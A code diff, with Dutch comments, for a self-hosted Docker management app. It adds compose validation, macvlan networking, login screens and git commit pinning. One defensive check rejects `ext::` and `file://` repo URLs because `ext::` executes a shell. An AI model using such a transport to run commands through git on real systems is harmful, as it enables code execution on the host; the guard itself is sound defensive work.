"block": p[5] if len(p) > 5 else ""}
|
||||
return out
|
||||
|
||||
|
||||
# ── Compose helpers ───────────────────────────────────────────────────────────
|
||||
|
||||
def find_compose(d: Path) -> Path | None:
|
||||
|
|
@ -244,6 +279,52 @@ def write_compose(d: Path, content: str):
|
|||
f.write_text(content)
|
||||
|
||||
|
||||
def validate_compose(d: Path) -> tuple[bool, str]:
|
||||
"""Controleer een compose-bestand met `docker compose config -q`.
|
||||
|
||||
Zo blijkt een typefout meteen bij het opslaan, in plaats van pas bij de
|
||||
volgende start — als de stack al stuk is.
|
||||
"""
|
||||
f = find_compose(d)
|
||||
if not f:
|
||||
return False, "geen compose-bestand gevonden"
|
||||
r = _run(_get_compose() + ["-f", str(f), "config", "-q"], cwd=str(d), timeout=30)
|
||||
return _validation_result(r)
|
||||
|
||||
|
||||
def _validation_result(r) -> tuple[bool, str]:
|
||||
if r.returncode == 0:
|
||||
return True, ""
|
||||
# Is de compose-CLI zelf niet beschikbaar, dan kunnen we niets zeggen over
|
||||
# het bestand. Dat mag geen reden zijn om een installatie te blokkeren.
|
||||
melding = (r.stderr or r.stdout or "").strip()
|
||||
if r.returncode == 127 or "niet gevonden" in melding or "not found" in melding.lower():
|
||||
return True, ""
|
||||
return False, melding[:800]
|
||||
|
||||
|
||||
def validate_compose_text(content: str, d: Path) -> tuple[bool, str]:
|
||||
"""Valideer compose-inhoud zonder het doelbestand te overschrijven.
|
||||
|
||||
Het tijdelijke bestand staat in dezelfde map, zodat relatieve paden en een
|
||||
eventueel .env-bestand meegenomen worden zoals bij een echte start.
|
||||
"""
|
||||
tmp = d / ".serverup-validate.yml"
|
||||
try:
|
||||
tmp.write_text(content, encoding="utf-8")
|
||||
r = _run(_get_compose() + ["-f", str(tmp), "config", "-q"],
|
||||
cwd=str(d), timeout=30)
|
||||
ok, msg = _validation_result(r)
|
||||
return ok, msg.replace(str(tmp), "compose")
|
||||
except Exception as e:
|
||||
return False, str(e)
|
||||
finally:
|
||||
try:
|
||||
tmp.unlink(missing_ok=True)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def used_ports() -> set[int]:
|
||||
r = _run([_bin(), "ps", "-a", "--format", "{{.Ports}}"], timeout=10)
|
||||
ports = set()
|
||||
|
|
|
|||
|
|
@ -41,6 +41,11 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
|
|||
url = repo.get("url", "").strip()
|
||||
if not url:
|
||||
return False, "Geen URL"
|
||||
# Vangnet: ook repo's die al in een oude config.json staan mogen geen
|
||||
# `ext::`- of `file://`-transport gebruiken (ext:: voert een shell uit).
|
||||
from core import valid_repo_url
|
||||
if not valid_repo_url(url):
|
||||
return False, f"Ongeldige of niet-toegestane repo-URL: {url[:80]}"
|
||||
branch = repo.get("branch", "main")
|
||||
token = repo.get("token", "").strip()
|
||||
rid = repo.get("id", "repo")
|
||||
|
|
@ -80,6 +85,25 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
|
|||
|
||||
if r.returncode != 0:
|
||||
return False, safe_output[:200]
|
||||
|
||||
# Optioneel vastzetten op een commit. Zo bepaalt de beheerder wanneer
|
||||
# er nieuwe templates/modulecode binnenkomt, in plaats van de upstream.
|
||||
pin = (repo.get("commit") or "").strip()
|
||||
if pin:
|
||||
if not re.fullmatch(r"[0-9a-fA-F]{7,40}", pin):
|
||||
return False, f"Ongeldige commit-pin: {pin[:40]}"
|
||||
fetch = subprocess.run(["git", "fetch", "--depth", "1", "origin", pin],
|
||||
cwd=str(dest), capture_output=True, text=True,
|
||||
env=env, timeout=60)
|
||||
if fetch.returncode != 0 and log_fn:
|
||||
log_fn(f"fetch {pin}: {fetch.stderr.strip()[:120]}")
|
||||
co = subprocess.run(["git", "checkout", "--force", pin],
|
||||
cwd=str(dest), capture_output=True, text=True,
|
||||
env=env, timeout=60)
|
||||
if co.returncode != 0:
|
||||
return False, f"Commit {pin} niet gevonden"
|
||||
if log_fn:
|
||||
log_fn(f"Vastgezet op commit {pin}")
|
||||
return True, "OK"
|
||||
except subprocess.TimeoutExpired:
|
||||
return False, "Timeout"
|
||||
|
|
|
|||
|
|
@ -6,6 +6,10 @@ _queues: dict[str, queue.Queue] = {}
|
|||
_stream_locks: dict[str, threading.Lock] = {}
|
||||
_lock = threading.Lock()
|
||||
_TTL = 3600
|
||||
# Maximaal aantal bewaarde logregels per job. Een `compose pull` van een groot
|
||||
# image produceert duizenden voortgangsregels; zonder limiet groeit dat
|
||||
# onbeperkt in het geheugen van het proces.
|
||||
_MAX_LINES = 2000
|
||||
|
||||
|
||||
def _cleanup():
|
||||
|
|
@ -67,6 +71,13 @@ def stream(jid: str, offset=0) -> dict:
|
|||
job["lines"].append(item)
|
||||
except queue.Empty:
|
||||
break
|
||||
if len(job["lines"]) > _MAX_LINES:
|
||||
# Houd de staart; die bevat het resultaat en de eventuele fout.
|
||||
dropped = len(job["lines"]) - _MAX_LINES
|
||||
job["lines"] = ([{"level": "dim",
|
||||
"text": f"… {dropped + job.get('dropped', 0)} eerdere regels weggelaten"}]
|
||||
+ job["lines"][-_MAX_LINES:])
|
||||
job["dropped"] = dropped + job.get("dropped", 0)
|
||||
return {"lines": job["lines"][offset:], "status": job["status"]}
|
||||
|
||||
|
||||
|
|
|
|||
181
server-up/core/networks.py
Normal file
181
server-up/core/networks.py
Normal file
|
|
@ -0,0 +1,181 @@
|
|||
"""Macvlan/ipvlan-netwerken — stacks een eigen IP-adres in het LAN geven.
|
||||
|
||||
In plaats van poorten publiceren op de host (`8222:80`) krijgt een container een
|
||||
eigen adres op het fysieke netwerk. Voordelen: geen poortconflicten meer, apps
|
||||
draaien op hun eigen standaardpoort, en je kunt per app firewallen op IP.
|
||||
|
||||
Belangrijke beperking van macvlan: de host kan zijn eigen macvlan-containers
|
||||
niet bereiken zonder een extra shim-interface. Zie docs/netwerken.md.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import ipaddress
|
||||
import json
|
||||
import re
|
||||
|
||||
from core import docker
|
||||
|
||||
_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9_.-]{0,62}$")
|
||||
DRIVERS = ("macvlan", "ipvlan")
|
||||
|
||||
|
||||
class NetworkError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
# ── Inspectie ────────────────────────────────────────────────────────────────
|
||||
|
||||
def list_docker_networks() -> list[dict]:
|
||||
"""Alle macvlan/ipvlan-netwerken die de Docker-daemon kent."""
|
||||
r = docker._run([docker._bin(), "network", "ls", "--format",
|
||||
"{{.Name}}\t{{.Driver}}\t{{.Scope}}"], timeout=15)
|
||||
if r.returncode != 0:
|
||||
return []
|
||||
out = []
|
||||
for line in r.stdout.strip().splitlines():
|
||||
p = line.split("\t")
|
||||
if len(p) >= 2 and p[1] in DRIVERS:
|
||||
out.append({"name": p[0], "driver": p[1],
|
||||
"scope": p[2] if len(p) > 2 else ""})
|
||||
return out
|
||||
|
||||
|
||||
def inspect(name: str) -> dict:
|
||||
r = docker._run([docker._bin(), "network", "inspect", name], timeout=15)
|
||||
if r.returncode != 0:
|
||||
return {}
|
||||
try:
|
||||
data = json.loads(r.stdout)
|
||||
return data[0] if data else {}
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
|
||||
def exists(name: str) -> bool:
|
||||
return bool(inspect(name))
|
||||
|
||||
|
||||
def used_ips(name: str) -> set[str]:
|
||||
"""IP-adressen die binnen dit netwerk al aan een container zijn toegekend."""
|
||||
info = inspect(name)
|
||||
ips: set[str] = set()
|
||||
for c in (info.get("Containers") or {}).values():
|
||||
addr = (c.get("IPv4Address") or "").split("/")[0]
|
||||
if addr:
|
||||
ips.add(addr)
|
||||
return ips
|
||||
|
||||
|
||||
def host_interfaces() -> list[str]:
|
||||
"""Netwerkinterfaces van de host, als suggestie voor `parent`.
|
||||
|
||||
De container draait met het netwerk van de host niet gedeeld, maar /sys is
|
||||
wél zichtbaar wanneer de docker-socket gemount is; lukt het lezen niet, dan
|
||||
krijgt de gebruiker gewoon een leeg lijstje en vult hij het zelf in.
|
||||
"""
|
||||
try:
|
||||
from pathlib import Path
|
||||
# /sys/class/net bevat naast interfaces ook losse bestanden zoals
|
||||
# 'bonding_masters'; echte interfaces zijn symlinks naar een device.
|
||||
namen = sorted(p.name for p in Path("/sys/class/net").iterdir() if p.is_dir())
|
||||
return [n for n in namen
|
||||
if n != "lo" and not n.startswith(("docker", "br-", "veth"))]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
# ── IP-toewijzing ────────────────────────────────────────────────────────────
|
||||
|
||||
def next_free_ip(net: dict, extra_used: set[str] | None = None) -> str:
|
||||
"""Eerste vrije adres binnen ip_range (of subnet), gateway uitgezonderd.
|
||||
|
||||
Zelfde patroon als docker.next_free_port(): een voorstel, geen reservering.
|
||||
"""
|
||||
subnet = net.get("ip_range") or net.get("subnet") or ""
|
||||
if not subnet:
|
||||
return ""
|
||||
try:
|
||||
network = ipaddress.ip_network(subnet, strict=False)
|
||||
except ValueError:
|
||||
return ""
|
||||
bezet = set(used_ips(net.get("name", "")) if net.get("name") else set())
|
||||
bezet |= set(extra_used or set())
|
||||
gateway = (net.get("gateway") or "").strip()
|
||||
if gateway:
|
||||
bezet.add(gateway)
|
||||
for host in network.hosts():
|
||||
if str(host) not in bezet:
|
||||
return str(host)
|
||||
return ""
|
||||
|
||||
|
||||
def ip_in_network(ip: str, net: dict) -> bool:
|
||||
subnet = net.get("subnet") or ""
|
||||
if not subnet:
|
||||
return False
|
||||
try:
|
||||
return ipaddress.ip_address(ip) in ipaddress.ip_network(subnet, strict=False)
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
# ── Aanmaken / verwijderen ───────────────────────────────────────────────────
|
||||
|
||||
def validate(net: dict) -> str:
|
||||
"""Retourneer een foutmelding, of "" als de definitie klopt."""
|
||||
if not _NAME_RE.match(net.get("name") or ""):
|
||||
return "Ongeldige netwerknaam."
|
||||
if net.get("driver") not in DRIVERS:
|
||||
return f"Driver moet {' of '.join(DRIVERS)} zijn."
|
||||
if not _NAME_RE.match(net.get("parent") or ""):
|
||||
return "Geef een geldige host-interface op (bv. eth0)."
|
||||
try:
|
||||
subnet = ipaddress.ip_network(net.get("subnet") or "", strict=False)
|
||||
except ValueError:
|
||||
return "Ongeldig subnet (bv. 192.168.1.0/24)."
|
||||
gateway = (net.get("gateway") or "").strip()
|
||||
if gateway:
|
||||
try:
|
||||
if ipaddress.ip_address(gateway) not in subnet:
|
||||
return "De gateway ligt buiten het subnet."
|
||||
except ValueError:
|
||||
return "Ongeldig gateway-adres."
|
||||
rng = (net.get("ip_range") or "").strip()
|
||||
if rng:
|
||||
try:
|
||||
if not ipaddress.ip_network(rng, strict=False).subnet_of(subnet):
|
||||
return "De IP-range ligt buiten het subnet."
|
||||
except ValueError:
|
||||
return "Ongeldige IP-range (bv. 192.168.1.240/28)."
|
||||
return ""
|
||||
|
||||
|
||||
def create(net: dict) -> tuple[bool, str]:
|
||||
"""Maak het netwerk aan bij de Docker-daemon (idempotent)."""
|
||||
probleem = validate(net)
|
||||
if probleem:
|
||||
return False, probleem
|
||||
if exists(net["name"]):
|
||||
return True, "Netwerk bestaat al."
|
||||
cmd = [docker._bin(), "network", "create",
|
||||
"-d", net["driver"],
|
||||
"--subnet", net["subnet"],
|
||||
"-o", f"parent={net['parent']}"]
|
||||
if net.get("gateway"):
|
||||
cmd += ["--gateway", net["gateway"]]
|
||||
if net.get("ip_range"):
|
||||
cmd += ["--ip-range", net["ip_range"]]
|
||||
cmd.append(net["name"])
|
||||
r = docker._run(cmd, timeout=30)
|
||||
if r.returncode != 0:
|
||||
return False, (r.stderr or r.stdout).strip()[:400]
|
||||
return True, "Netwerk aangemaakt."
|
||||
|
||||
|
||||
def remove(name: str) -> tuple[bool, str]:
|
||||
if not _NAME_RE.match(name or ""):
|
||||
return False, "Ongeldige netwerknaam."
|
||||
r = docker._run([docker._bin(), "network", "rm", name], timeout=30)
|
||||
if r.returncode != 0:
|
||||
return False, (r.stderr or r.stdout).strip()[:400]
|
||||
return True, "Netwerk verwijderd."
|
||||
|
|
@ -1,3 +1,4 @@
|
|||
flask>=3.0
|
||||
pyyaml>=6.0
|
||||
jinja2>=3.1
|
||||
waitress>=3.0
|
||||
|
|
|
|||
|
|
@ -6,9 +6,11 @@
|
|||
<title>Server Up</title>
|
||||
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🚀</text></svg>">
|
||||
<link rel="stylesheet" href="/static/fonts/mdi.min.css">
|
||||
<script src="https://cdn.tailwindcss.com?plugins=forms,typography"></script>
|
||||
<script defer src="https://unpkg.com/alpinejs@3.14.1/dist/cdn.min.js"></script>
|
||||
<script src="https://unpkg.com/htmx.org@2.0.3/dist/htmx.min.js"></script>
|
||||
<!-- Lokaal meegeleverd (zie Dockerfile): geen CDN op runtime, werkt offline
|
||||
en houdt de Content-Security-Policy op 'self'. -->
|
||||
<script src="/static/vendor/tailwind.js"></script>
|
||||
<script defer src="/static/vendor/alpine.min.js"></script>
|
||||
<script src="/static/vendor/htmx.min.js"></script>
|
||||
<script>
|
||||
tailwind.config = {
|
||||
darkMode: 'class',
|
||||
|
|
@ -44,9 +46,11 @@ tailwind.config = {
|
|||
}}
|
||||
}
|
||||
</script>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
|
||||
<!-- Geen Google Fonts: dat is een externe request bij elke paginalading. Inter
|
||||
en JetBrains Mono worden gebruikt als ze lokaal geïnstalleerd zijn, anders
|
||||
valt de stack terug op de systeemfonts uit tailwind.config. -->
|
||||
<style>
|
||||
body { font-family: 'Inter', sans-serif; -webkit-font-smoothing: antialiased; }
|
||||
body { font-family: 'Inter', system-ui, sans-serif; -webkit-font-smoothing: antialiased; }
|
||||
[x-cloak] { display: none !important; }
|
||||
.mdi-spin { animation: mdis 1s linear infinite; display:inline-block; }
|
||||
@keyframes mdis { to { transform: rotate(360deg); } }
|
||||
|
|
@ -62,6 +66,59 @@ tailwind.config = {
|
|||
</head>
|
||||
<body class="bg-bg dark:bg-bg-dark text-tx dark:text-tx-dark text-[15px] h-screen overflow-hidden antialiased">
|
||||
|
||||
<!-- ░░ Login / eerste account ░░ -->
|
||||
<!-- Ligt bovenop alles (z-[90]) tot er een geldige sessie is. De API weigert
|
||||
ondertussen sowieso elk verzoek met 401, dit is de nette voorkant. -->
|
||||
<div x-show="auth.ready && !auth.authenticated" x-cloak
|
||||
class="fixed inset-0 bg-bg dark:bg-bg-dark z-[90] grid place-items-center p-4">
|
||||
<div class="w-full max-w-[380px] anim">
|
||||
<div class="flex items-center gap-3 mb-6 justify-center">
|
||||
<div class="w-11 h-11 rounded-xl bg-gradient-to-br from-ac to-ac2 grid place-items-center shadow-soft text-white text-xl">🚀</div>
|
||||
<div class="font-extrabold text-xl text-wh dark:text-wh-dark tracking-tight">Server<span class="text-ac dark:text-ac-dark">Up</span></div>
|
||||
</div>
|
||||
|
||||
<div class="card card-pad">
|
||||
<template x-if="auth.needsSetup">
|
||||
<div>
|
||||
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-1">Eerste account aanmaken</div>
|
||||
<p class="text-xs text-t2 dark:text-t2-dark mb-4">
|
||||
Server Up beheert Docker op deze machine. Maak nu een beheerdersaccount aan —
|
||||
zolang dat niet gebeurd is, kan iedereen die deze pagina bereikt het account claimen.
|
||||
</p>
|
||||
<form @submit.prevent="doSetup()" class="grid gap-3">
|
||||
<div><label class="form-label">Gebruikersnaam</label>
|
||||
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
|
||||
<div><label class="form-label">Wachtwoord (min. 10 tekens)</label>
|
||||
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="new-password" required></div>
|
||||
<div><label class="form-label">Wachtwoord herhalen</label>
|
||||
<input type="password" class="form-input" x-model="loginForm.password2" autocomplete="new-password" required></div>
|
||||
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
|
||||
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
|
||||
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-account-plus'"></span>Account aanmaken
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<template x-if="!auth.needsSetup">
|
||||
<div>
|
||||
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-4">Inloggen</div>
|
||||
<form @submit.prevent="doLogin()" class="grid gap-3">
|
||||
<div><label class="form-label">Gebruikersnaam</label>
|
||||
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
|
||||
<div><label class="form-label">Wachtwoord</label>
|
||||
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="current-password" required></div>
|
||||
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
|
||||
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
|
||||
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-login'"></span>Inloggen
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ░░ Sidebar ░░ -->
|
||||
<aside class="fixed top-0 bottom-0 left-0 w-[264px] max-w-[86vw] bg-s1 dark:bg-s1-dark border-r border-bd dark:border-bd-dark z-40 flex flex-col transition-transform duration-200 ease-out"
|
||||
:class="sidebarOpen ? 'translate-x-0' : '-translate-x-full'">
|
||||
|
|
@ -105,6 +162,7 @@ tailwind.config = {
|
|||
<div class="text-dm dark:text-dm-dark"><span x-text="docker.images ?? '–'"></span> images</div>
|
||||
</div>
|
||||
<button @click="termOpen = !termOpen" :title="t('log')" class="ml-auto w-8 h-8 grid place-items-center rounded-lg hover:bg-s1 dark:hover:bg-s1-dark text-t2 dark:text-t2-dark"><span class="mdi mdi-console text-lg"></span></button>
|
||||
<button @click="logout()" :title="'Uitloggen (' + auth.user + ')'" class="w-8 h-8 grid place-items-center rounded-lg hover:bg-s1 dark:hover:bg-s1-dark text-t2 dark:text-t2-dark"><span class="mdi mdi-logout text-lg"></span></button>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
|
|
@ -197,13 +255,53 @@ tailwind.config = {
|
|||
<template x-if="!s.logo_url"><span class="w-8 h-8 rounded-lg bg-s2 dark:bg-s2-dark grid place-items-center text-base shrink-0" x-text="s.icon || '📦'"></span></template>
|
||||
<span class="w-2.5 h-2.5 rounded-full shrink-0" :class="!s.has_compose ? 'bg-wr' : s.running ? 'bg-ok shadow-[0_0_8px_#22c55e]' : 'bg-dm dark:bg-dm-dark'"></span>
|
||||
<span class="font-semibold text-wh dark:text-wh-dark text-sm flex-1 truncate" x-text="s.name"></span>
|
||||
<!-- Draait deze stack op een eigen IP i.p.v. hostpoorten? -->
|
||||
<span x-show="s.ip" class="badge badge-info font-mono !text-[10px]"
|
||||
:title="'Eigen IP op netwerk ' + s.network" x-text="s.ip"></span>
|
||||
<span class="badge" :class="s.running ? 'badge-ok' : !s.has_compose ? 'badge-warn' : 'badge-dim'" x-text="!s.has_compose ? '—' : s.running ? t('running') : t('stopped')"></span>
|
||||
</div>
|
||||
<div class="p-4 flex flex-col gap-3 flex-1">
|
||||
<div class="flex flex-wrap gap-1.5" x-show="s.containers && s.containers.length">
|
||||
<!-- Containerchips; klik klapt het beheerpaneel per container uit -->
|
||||
<div class="flex flex-wrap gap-1.5 items-center cursor-pointer"
|
||||
x-show="s.containers && s.containers.length"
|
||||
@click="toggleContainers(s.name)">
|
||||
<template x-for="c in s.containers || []" :key="c.name">
|
||||
<span class="text-[11px] font-mono px-2 py-0.5 rounded-md border" :class="c.running ? 'border-ok/30 text-ok bg-ok/5' : 'border-bd dark:border-bd-dark text-t2 dark:text-t2-dark'" x-text="c.service || c.name"></span>
|
||||
</template>
|
||||
<span class="mdi text-t2 dark:text-t2-dark text-base ml-auto"
|
||||
:class="cpanel[s.name] && cpanel[s.name].open ? 'mdi-chevron-up' : 'mdi-chevron-down'"></span>
|
||||
</div>
|
||||
|
||||
<div x-show="cpanel[s.name] && cpanel[s.name].open" x-cloak
|
||||
class="rounded-xl border border-bd dark:border-bd-dark divide-y divide-bd dark:divide-bd-dark overflow-hidden">
|
||||
<template x-if="cpanel[s.name] && cpanel[s.name].loading">
|
||||
<div class="px-3 py-2.5 text-xs text-t2 dark:text-t2-dark flex items-center gap-2">
|
||||
<span class="mdi mdi-loading mdi-spin"></span> Laden…
|
||||
</div>
|
||||
</template>
|
||||
<template x-for="c in (cpanel[s.name] && cpanel[s.name].items) || []" :key="c.name">
|
||||
<div class="px-3 py-2.5 bg-s2/40 dark:bg-s2-dark/40">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="w-2 h-2 rounded-full shrink-0" :class="c.running ? 'bg-ok' : 'bg-dm dark:bg-dm-dark'"></span>
|
||||
<span class="text-xs font-semibold text-wh dark:text-wh-dark truncate flex-1" x-text="c.service || c.name"></span>
|
||||
<button class="btn-sm !h-7 !px-2" :title="c.running ? t('stop') : t('start')"
|
||||
@click.stop="containerAction(s.name, c.name, c.running ? 'stop' : 'start')">
|
||||
<span class="mdi" :class="c.running ? 'mdi-stop' : 'mdi-play'"></span>
|
||||
</button>
|
||||
<button class="btn-sm !h-7 !px-2" :title="t('restart')"
|
||||
@click.stop="containerAction(s.name, c.name, 'restart')"><span class="mdi mdi-restart"></span></button>
|
||||
<button class="btn-sm !h-7 !px-2" :title="t('logs')"
|
||||
@click.stop="openContainerLogs(s.name, c.name)"><span class="mdi mdi-text-box-outline"></span></button>
|
||||
</div>
|
||||
<div class="flex flex-wrap gap-x-3 gap-y-0.5 mt-1 text-[10px] font-mono text-t2 dark:text-t2-dark"
|
||||
x-show="c.stats && c.stats.cpu">
|
||||
<span>CPU <span class="text-tx dark:text-tx-dark" x-text="c.stats.cpu"></span></span>
|
||||
<span>MEM <span class="text-tx dark:text-tx-dark" x-text="c.stats.mem"></span></span>
|
||||
<span x-show="c.stats.net">NET <span class="text-tx dark:text-tx-dark" x-text="c.stats.net"></span></span>
|
||||
</div>
|
||||
<div class="text-[10px] text-dm dark:text-dm-dark mt-0.5 truncate" x-show="c.ports" x-text="c.ports"></div>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
<div class="flex flex-wrap gap-1.5 mt-auto" x-show="s.has_compose">
|
||||
<button class="btn-sm flex-1 min-w-[84px]" :class="s.running ? 'btn-danger' : 'btn-primary'" @click="stackAction(s.name, s.running ? 'stop' : 'start')">
|
||||
|
|
@ -365,6 +463,73 @@ tailwind.config = {
|
|||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Beveiliging: accounts + wachtwoord -->
|
||||
<div class="card">
|
||||
<div class="px-5 py-4 flex items-center gap-2.5 border-b border-bd dark:border-bd-dark">
|
||||
<span class="mdi mdi-shield-account-outline text-ac dark:text-ac-dark text-lg"></span>
|
||||
<span class="font-bold text-wh dark:text-wh-dark text-sm">Beveiliging</span>
|
||||
<span class="badge badge-dim ml-auto" x-text="'ingelogd als ' + auth.user"></span>
|
||||
</div>
|
||||
<div class="p-5 grid md:grid-cols-2 gap-6">
|
||||
<div>
|
||||
<div class="form-label">Gebruikers</div>
|
||||
<div class="space-y-1.5 mb-3">
|
||||
<template x-for="u in users" :key="u">
|
||||
<div class="flex items-center gap-2 text-sm">
|
||||
<span class="mdi mdi-account-outline text-t2 dark:text-t2-dark"></span>
|
||||
<span class="text-tx dark:text-tx-dark flex-1" x-text="u"></span>
|
||||
<button class="btn-sm !h-7 !px-2 btn-danger" x-show="users.length > 1"
|
||||
@click="delUser(u)"><span class="mdi mdi-delete-outline"></span></button>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
<div class="grid gap-2">
|
||||
<input class="form-input" x-model="newUser.username" placeholder="Gebruikersnaam">
|
||||
<input type="password" class="form-input" x-model="newUser.password" placeholder="Wachtwoord (min. 10 tekens)">
|
||||
<button class="btn btn-sm" @click="addUser()"><span class="mdi mdi-account-plus-outline"></span> Gebruiker toevoegen</button>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="form-label">Eigen wachtwoord wijzigen</div>
|
||||
<div class="grid gap-2">
|
||||
<input type="password" class="form-input" x-model="pwForm.current" placeholder="Huidig wachtwoord">
|
||||
<input type="password" class="form-input" x-model="pwForm.new" placeholder="Nieuw wachtwoord">
|
||||
<input type="password" class="form-input" x-model="pwForm.new2" placeholder="Nieuw wachtwoord herhalen">
|
||||
<button class="btn btn-sm" @click="changePassword()"><span class="mdi mdi-key-variant"></span> Wijzigen</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Netwerken: stacks een eigen IP-adres geven -->
|
||||
<div class="card">
|
||||
<div class="px-5 py-4 flex items-center gap-2.5 border-b border-bd dark:border-bd-dark">
|
||||
<span class="mdi mdi-lan text-ac dark:text-ac-dark text-lg"></span>
|
||||
<span class="font-bold text-wh dark:text-wh-dark text-sm">Netwerken</span>
|
||||
<button class="btn-sm ml-auto" @click="modal='add-network'"><span class="mdi mdi-plus"></span> Netwerk</button>
|
||||
</div>
|
||||
<div class="p-5">
|
||||
<p class="text-xs text-t2 dark:text-t2-dark mb-3">
|
||||
Met een macvlan- of ipvlan-netwerk krijgt een stack een eigen IP-adres in je LAN
|
||||
in plaats van poorten op de host. Geen poortconflicten meer, en je kunt per app
|
||||
firewallen. De Docker-host zelf bereikt macvlan-containers niet zonder shim-interface.
|
||||
</p>
|
||||
<div class="space-y-2">
|
||||
<template x-for="n in netList" :key="n.name">
|
||||
<div class="flex flex-wrap items-center gap-2 px-3 py-2.5 rounded-xl border border-bd dark:border-bd-dark bg-s2/40 dark:bg-s2-dark/40">
|
||||
<span class="w-2 h-2 rounded-full shrink-0" :class="n.created ? 'bg-ok' : 'bg-wr'"></span>
|
||||
<span class="font-semibold text-sm text-wh dark:text-wh-dark" x-text="n.name"></span>
|
||||
<span class="badge badge-dim" x-text="n.driver"></span>
|
||||
<span class="text-[11px] font-mono text-t2 dark:text-t2-dark" x-text="n.subnet + ' @ ' + n.parent"></span>
|
||||
<span class="text-[11px] text-dm dark:text-dm-dark" x-show="n.next_ip">volgend vrij: <span class="font-mono" x-text="n.next_ip"></span></span>
|
||||
<button class="btn-sm !h-7 !px-2 btn-danger ml-auto" @click="deleteNetwork(n.name)"><span class="mdi mdi-delete-outline"></span></button>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
<div x-show="netList.length === 0" class="text-xs text-dm dark:text-dm-dark">Nog geen netwerken.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Updates -->
|
||||
<div class="card">
|
||||
<div class="px-5 py-4 flex items-center gap-2.5 border-b border-bd dark:border-bd-dark">
|
||||
|
|
@ -520,6 +685,40 @@ tailwind.config = {
|
|||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Netwerk toevoegen -->
|
||||
<div x-show="modal==='add-network'" class="modal max-w-md">
|
||||
<div class="modal-head"><span class="mdi mdi-lan-connect text-ac dark:text-ac-dark"></span> Netwerk toevoegen</div>
|
||||
<div class="modal-body space-y-3">
|
||||
<div><label class="form-label">Naam</label><input class="form-input" x-model="newNet.name" placeholder="lan"></div>
|
||||
<div class="grid grid-cols-2 gap-3">
|
||||
<div><label class="form-label">Driver</label>
|
||||
<select class="form-input" x-model="newNet.driver">
|
||||
<option value="macvlan">macvlan</option>
|
||||
<option value="ipvlan">ipvlan</option>
|
||||
</select></div>
|
||||
<div><label class="form-label">Host-interface</label>
|
||||
<input class="form-input" x-model="newNet.parent" placeholder="eth0" list="ifaces">
|
||||
<datalist id="ifaces"><template x-for="i in netIfaces" :key="i"><option :value="i"></option></template></datalist>
|
||||
</div>
|
||||
</div>
|
||||
<div class="grid grid-cols-2 gap-3">
|
||||
<div><label class="form-label">Subnet</label><input class="form-input font-mono" x-model="newNet.subnet" placeholder="192.168.1.0/24"></div>
|
||||
<div><label class="form-label">Gateway</label><input class="form-input font-mono" x-model="newNet.gateway" placeholder="192.168.1.1"></div>
|
||||
</div>
|
||||
<div><label class="form-label">IP-range (optioneel)</label>
|
||||
<input class="form-input font-mono" x-model="newNet.ip_range" placeholder="192.168.1.240/28">
|
||||
<p class="text-[11px] text-dm dark:text-dm-dark mt-1">
|
||||
Beperkt de adressen die Docker uitdeelt tot een blok dat je in je DHCP-server
|
||||
hebt vrijgehouden. Zonder range gebruikt Docker het hele subnet.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal-foot">
|
||||
<button class="btn" @click="modal=null" x-text="t('cancel')">Annuleren</button>
|
||||
<button class="btn btn-primary" @click="addNetwork()"><span class="mdi mdi-plus"></span> Aanmaken</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Install -->
|
||||
<div x-show="modal==='install'" class="modal max-w-2xl flex flex-col max-h-[88vh]">
|
||||
<div class="modal-head">
|
||||
|
|
@ -534,6 +733,32 @@ tailwind.config = {
|
|||
<input class="form-input" x-model="install.instance">
|
||||
<p class="text-[11px] text-dm dark:text-dm-dark mt-1" x-text="t('instance_hint')">Wijzig voor meerdere installaties</p>
|
||||
</div>
|
||||
|
||||
<!-- Netwerk: poorten op de host, of een eigen IP-adres (macvlan/ipvlan) -->
|
||||
<div>
|
||||
<label class="form-label">Netwerk</label>
|
||||
<select class="form-input" x-model="install.network" @change="pickIp()">
|
||||
<option value="">Poorten op de host (standaard)</option>
